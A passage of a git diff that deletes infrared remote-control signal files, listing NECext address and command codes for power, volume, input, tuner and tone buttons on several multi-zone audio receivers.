-# -name: BK019_LOUDNESS -type: parsed -protocol: NECext -address: 87 87 00 00 -command: CF 00 00 00 -# -name: BK019_AUTO_LEVEL -type: parsed -protocol: NECext -address: 87 87 00 00 -command: E4 00 00 00 -# -name: BK019_BASS+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: E5 00 00 00 -# -name: BK019_TREBLE+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: F9 00 00 00 -# -name: BK019_VIDEO+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir deleted file mode 100644 index 4db53cac6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK035_POWER_OFF -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 01 00 00 00 -# -name: BK035_POWER_ON -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 02 00 00 00 -# -name: BK035_MUTE -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 03 00 00 00 -# -name: BK035_INPUT_1 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 05 00 00 00 -# -name: BK035_INPUT_3 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 06 00 00 00 -# -name: BK035_INPUT_8 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 07 00 00 00 -# -name: BK035_INPUT_2 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 09 00 00 00 -# -name: BK035_INPUT_7 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0B 00 00 00 -# -name: BK035_INPUT_4 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0D 00 00 00 -# -name: BK035_TUNER_1 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0E 00 00 00 -# -name: BK035_INPUT_5 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0F 00 00 00 -# -name: BK035_STATION- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 17 00 00 00 -# -name: BK035_STATION+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 18 00 00 00 -# -name: BK035_TUNE- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1B 00 00 00 -# -name: BK035_TUNE+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1C 00 00 00 -# -name: BK035_LEFT -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1F 00 00 00 -# -name: BK035_RIGHT -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 20 00 00 00 -# -name: BK035_VOLUME- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 23 00 00 00 -# -name: BK035_VOLUME+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 24 00 00 00 -# -name: BK035_NUMBER_+10 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 29 00 00 00 -# -name: BK035_EQ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 2A 00 00 00 -# -name: BK035_DOWN -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 2D 00 00 00 -# -name: BK035_UP -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 2E 00 00 00 -# -name: BK035_ENTER -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 30 00 00 00 -# -name: BK035_NUMBER_1 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 31 00 00 00 -# -name: BK035_NUMBER_2 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 32 00 00 00 -# -name: BK035_NUMBER_3 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 33 00 00 00 -# -name: BK035_NUMBER_4 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 35 00 00 00 -# -name: BK035_NUMBER_5 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 36 00 00 00 -# -name: BK035_NUMBER_6 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 37 00 00 00 -# -name: BK035_NUMBER_7 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 39 00 00 00 -# -name: BK035_NUMBER_8 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3A 00 00 00 -# -name: BK035_NUMBER_9 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3B 00 00 00 -# -name: BK035_NUMBER_0 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3E 00 00 00 -# -name: BK035_SAVE -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 40 00 00 00 -# -name: BK035_TUNER_3 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 44 00 00 00 -# -name: BK035_INPUT_6 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4A 00 00 00 -# -name: BK035_PRESET+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4B 00 00 00 -# -name: BK035_D-IN -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 5A 00 00 00 -# -name: BK035_BASS- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 65 00 00 00 -# -name: BK035_SOURCE+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 66 00 00 00 -# -name: BK035_INPUT_9 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 6E 00 00 00 -# -name: BK035_AM -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 76 00 00 00 -# -name: BK035_TREBLE- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 79 00 00 00 -# -name: BK035_VIDEO- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 7A 00 00 00 -# -name: BK035_EXIT -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 7D 00 00 00 -# -name: BK035_TUNER_2 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 84 00 00 00 -# -name: BK035_FM -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 8E 00 00 00 -# -name: BK035_SOURCE- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: A6 00 00 00 -# -name: BK035_SLEEP -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: B3 00 00 00 -# -name: BK035_PRESET- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: C6 00 00 00 -# -name: BK035_LOUDNESS -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: CF 00 00 00 -# -name: BK035_AUTO_LEVEL -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: E4 00 00 00 -# -name: BK035_BASS+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: E5 00 00 00 -# -name: BK035_TREBLE+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: F9 00 00 00 -# -name: BK035_VIDEO+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir deleted file mode 100644 index ccbb10b21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK034_POWER_OFF -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 01 00 00 00 -# -name: BK034_POWER_ON -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 02 00 00 00 -# -name: BK034_MUTE -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 03 00 00 00 -# -name: BK034_INPUT_1 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 05 00 00 00 -# -name: BK034_INPUT_3 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 06 00 00 00 -# -name: BK034_INPUT_8 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 07 00 00 00 -# -name: BK034_INPUT_2 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 09 00 00 00 -# -name: BK034_INPUT_7 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0B 00 00 00 -# -name: BK034_INPUT_4 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0D 00 00 00 -# -name: BK034_TUNER_1 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0E 00 00 00 -# -name: BK034_INPUT_5 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0F 00 00 00 -# -name: BK034_STATION- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 17 00 00 00 -# -name: BK034_STATION+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 18 00 00 00 -# -name: BK034_TUNE- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 1B 00 00 00 -# -name: BK034_TUNE+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 1C 00 00 00 -# -name: BK034_LEFT -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 1F 00 00 00 -# -name: BK034_RIGHT -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 20 00 00 00 -# -name: BK034_VOLUME- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 23 00 00 00 -# -name: BK034_VOLUME+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 24 00 00 00 -# -name: BK034_NUMBER_+10 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 29 00 00 00 -# -name: BK034_EQ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 2A 00 00 00 -# -name: BK034_DOWN -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 2D 00 00 00 -# -name: BK034_UP -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 2E 00 00 00 -# -name: BK034_ENTER -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 30 00 00 00 -# -name: BK034_NUMBER_1 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 31 00 00 00 -# -name: BK034_NUMBER_2 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 32 00 00 00 -# -name: BK034_NUMBER_3 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 33 00 00 00 -# -name: BK034_NUMBER_4 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 35 00 00 00 -# -name: BK034_NUMBER_5 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 36 00 00 00 -# -name: BK034_NUMBER_6 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 37 00 00 00 -# -name: BK034_NUMBER_7 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 39 00 00 00 -# -name: BK034_NUMBER_8 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3A 00 00 00 -# -name: BK034_NUMBER_9 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3B 00 00 00 -# -name: BK034_NUMBER_0 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3E 00 00 00 -# -name: BK034_SAVE -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 40 00 00 00 -# -name: BK034_TUNER_3 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 44 00 00 00 -# -name: BK034_INPUT_6 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 4A 00 00 00 -# -name: BK034_PRESET+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 4B 00 00 00 -# -name: BK034_D-IN -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 5A 00 00 00 -# -name: BK034_BASS- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 65 00 00 00 -# -name: BK034_SOURCE+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 66 00 00 00 -# -name: BK034_INPUT_9 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 6E 00 00 00 -# -name: BK034_AM -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 76 00 00 00 -# -name: BK034_TREBLE- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 79 00 00 00 -# -name: BK034_VIDEO- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 7A 00 00 00 -# -name: BK034_EXIT -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 7D 00 00 00 -# -name: BK034_TUNER_2 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 84 00 00 00 -# -name: BK034_FM -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 8E 00 00 00 -# -name: BK034_SOURCE- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: A6 00 00 00 -# -name: BK034_SLEEP -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: B3 00 00 00 -# -name: BK034_PRESET- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: C6 00 00 00 -# -name: BK034_LOUDNESS -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: CF 00 00 00 -# -name: BK034_AUTO_LEVEL -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: E4 00 00 00 -# -name: BK034_BASS+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: E5 00 00 00 -# -name: BK034_TREBLE+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: F9 00 00 00 -# -name: BK034_VIDEO+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir deleted file mode 100644 index c44fca7d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK026_POWER_OFF -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 01 00 00 00 -# -name: BK026_POWER_ON -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 02 00 00 00 -# -name: BK026_MUTE -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 03 00 00 00 -# -name: BK026_INPUT_1 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 05 00 00 00 -# -name: BK026_INPUT_3 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 06 00 00 00 -# -name: BK026_INPUT_8 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 07 00 00 00 -# -name: BK026_INPUT_2 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 09 00 00 00 -# -name: BK026_INPUT_7 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 0B 00 00 00 -# -name: BK026_INPUT_4 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 0D 00 00 00 -# -name: BK026_TUNER_1 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 0E 00 00 00 -# -name: BK026_INPUT_5 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 0F 00 00 00 -# -name: BK026_STATION- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 17 00 00 00 -# -name: BK026_STATION+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 18 00 00 00 -# -name: BK026_TUNE- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 1B 00 00 00 -# -name: BK026_TUNE+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 1C 00 00 00 -# -name: BK026_LEFT -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 1F 00 00 00 -# -name: BK026_RIGHT -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 20 00 00 00 -# -name: BK026_VOLUME- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 23 00 00 00 -# -name: BK026_VOLUME+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 24 00 00 00 -# -name: BK026_NUMBER_+10 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 29 00 00 00 -# -name: BK026_EQ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 2A 00 00 00 -# -name: BK026_DOWN -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 2D 00 00 00 -# -name: BK026_UP -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 2E 00 00 00 -# -name: BK026_ENTER -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 30 00 00 00 -# -name: BK026_NUMBER_1 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 31 00 00 00 -# -name: BK026_NUMBER_2 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 32 00 00 00 -# -name: BK026_NUMBER_3 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 33 00 00 00 -# -name: BK026_NUMBER_4 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 35 00 00 00 -# -name: BK026_NUMBER_5 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 36 00 00 00 -# -name: BK026_NUMBER_6 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 37 00 00 00 -# -name: BK026_NUMBER_7 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 39 00 00 00 -# -name: BK026_NUMBER_8 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 3A 00 00 00 -# -name: BK026_NUMBER_9 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 3B 00 00 00 -# -name: BK026_NUMBER_0 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 3E 00 00 00 -# -name: BK026_SAVE -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 40 00 00 00 -# -name: BK026_TUNER_3 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 44 00 00 00 -# -name: BK026_INPUT_6 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 4A 00 00 00 -# -name: BK026_PRESET+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 4B 00 00 00 -# -name: BK026_D-IN -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 5A 00 00 00 -# -name: BK026_BASS- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 65 00 00 00 -# -name: BK026_SOURCE+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 66 00 00 00 -# -name: BK026_INPUT_9 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 6E 00 00 00 -# -name: BK026_AM -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 76 00 00 00 -# -name: BK026_TREBLE- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 79 00 00 00 -# -name: BK026_VIDEO- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 7A 00 00 00 -# -name: BK026_EXIT -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 7D 00 00 00 -# -name: BK026_TUNER_2 -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 84 00 00 00 -# -name: BK026_FM -type: parsed -protocol: NECext -address: 97 86 00 00 -command: 8E 00 00 00 -# -name: BK026_SOURCE- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: A6 00 00 00 -# -name: BK026_SLEEP -type: parsed -protocol: NECext -address: 97 86 00 00 -command: B3 00 00 00 -# -name: BK026_PRESET- -type: parsed -protocol: NECext -address: 97 86 00 00 -command: C6 00 00 00 -# -name: BK026_LOUDNESS -type: parsed -protocol: NECext -address: 97 86 00 00 -command: CF 00 00 00 -# -name: BK026_AUTO_LEVEL -type: parsed -protocol: NECext -address: 97 86 00 00 -command: E4 00 00 00 -# -name: BK026_BASS+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: E5 00 00 00 -# -name: BK026_TREBLE+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: F9 00 00 00 -# -name: BK026_VIDEO+ -type: parsed -protocol: NECext -address: 97 86 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir deleted file mode 100644 index 2c505e98c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK023_POWER_OFF -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 01 00 00 00 -# -name: BK023_POWER_ON -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 02 00 00 00 -# -name: BK023_MUTE -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 03 00 00 00 -# -name: BK023_INPUT_1 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 05 00 00 00 -# -name: BK023_INPUT_3 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 06 00 00 00 -# -name: BK023_INPUT_8 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 07 00 00 00 -# -name: BK023_INPUT_2 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 09 00 00 00 -# -name: BK023_INPUT_7 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0B 00 00 00 -# -name: BK023_INPUT_4 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0D 00 00 00 -# -name: BK023_TUNER_1 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0E 00 00 00 -# -name: BK023_INPUT_5 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0F 00 00 00 -# -name: BK023_STATION- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 17 00 00 00 -# -name: BK023_STATION+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 18 00 00 00 -# -name: BK023_TUNE- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 1B 00 00 00 -# -name: BK023_TUNE+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 1C 00 00 00 -# -name: BK023_LEFT -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 1F 00 00 00 -# -name: BK023_RIGHT -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 20 00 00 00 -# -name: BK023_VOLUME- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 23 00 00 00 -# -name: BK023_VOLUME+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 24 00 00 00 -# -name: BK023_NUMBER_+10 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 29 00 00 00 -# -name: BK023_EQ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 2A 00 00 00 -# -name: BK023_DOWN -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 2D 00 00 00 -# -name: BK023_UP -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 2E 00 00 00 -# -name: BK023_ENTER -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 30 00 00 00 -# -name: BK023_NUMBER_1 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 31 00 00 00 -# -name: BK023_NUMBER_2 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 32 00 00 00 -# -name: BK023_NUMBER_3 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 33 00 00 00 -# -name: BK023_NUMBER_4 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 35 00 00 00 -# -name: BK023_NUMBER_5 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 36 00 00 00 -# -name: BK023_NUMBER_6 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 37 00 00 00 -# -name: BK023_NUMBER_7 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 39 00 00 00 -# -name: BK023_NUMBER_8 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3A 00 00 00 -# -name: BK023_NUMBER_9 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3B 00 00 00 -# -name: BK023_NUMBER_0 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3E 00 00 00 -# -name: BK023_SAVE -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 40 00 00 00 -# -name: BK023_TUNER_3 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 44 00 00 00 -# -name: BK023_INPUT_6 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 4A 00 00 00 -# -name: BK023_PRESET+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 4B 00 00 00 -# -name: BK023_D-IN -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 5A 00 00 00 -# -name: BK023_BASS- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 65 00 00 00 -# -name: BK023_SOURCE+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 66 00 00 00 -# -name: BK023_INPUT_9 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 6E 00 00 00 -# -name: BK023_AM -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 76 00 00 00 -# -name: BK023_TREBLE- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 79 00 00 00 -# -name: BK023_VIDEO- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 7A 00 00 00 -# -name: BK023_EXIT -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 7D 00 00 00 -# -name: BK023_TUNER_2 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 84 00 00 00 -# -name: BK023_FM -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 8E 00 00 00 -# -name: BK023_SOURCE- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: A6 00 00 00 -# -name: BK023_SLEEP -type: parsed -protocol: NECext -address: A7 85 00 00 -command: B3 00 00 00 -# -name: BK023_PRESET- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: C6 00 00 00 -# -name: BK023_LOUDNESS -type: parsed -protocol: NECext -address: A7 85 00 00 -command: CF 00 00 00 -# -name: BK023_AUTO_LEVEL -type: parsed -protocol: NECext -address: A7 85 00 00 -command: E4 00 00 00 -# -name: BK023_BASS+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: E5 00 00 00 -# -name: BK023_TREBLE+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: F9 00 00 00 -# -name: BK023_VIDEO+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir deleted file mode 100644 index 064f3a622..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK030_POWER_OFF -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 01 00 00 00 -# -name: BK030_POWER_ON -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 02 00 00 00 -# -name: BK030_MUTE -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 03 00 00 00 -# -name: BK030_INPUT_1 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 05 00 00 00 -# -name: BK030_INPUT_3 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 06 00 00 00 -# -name: BK030_INPUT_8 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 07 00 00 00 -# -name: BK030_INPUT_2 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 09 00 00 00 -# -name: BK030_INPUT_7 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0B 00 00 00 -# -name: BK030_INPUT_4 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0D 00 00 00 -# -name: BK030_TUNER_1 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0E 00 00 00 -# -name: BK030_INPUT_5 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0F 00 00 00 -# -name: BK030_STATION- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 17 00 00 00 -# -name: BK030_STATION+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 18 00 00 00 -# -name: BK030_TUNE- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 1B 00 00 00 -# -name: BK030_TUNE+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 1C 00 00 00 -# -name: BK030_LEFT -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 1F 00 00 00 -# -name: BK030_RIGHT -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 20 00 00 00 -# -name: BK030_VOLUME- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 23 00 00 00 -# -name: BK030_VOLUME+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 24 00 00 00 -# -name: BK030_NUMBER_+10 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 29 00 00 00 -# -name: BK030_EQ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 2A 00 00 00 -# -name: BK030_DOWN -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 2D 00 00 00 -# -name: BK030_UP -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 2E 00 00 00 -# -name: BK030_ENTER -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 30 00 00 00 -# -name: BK030_NUMBER_1 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 31 00 00 00 -# -name: BK030_NUMBER_2 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 32 00 00 00 -# -name: 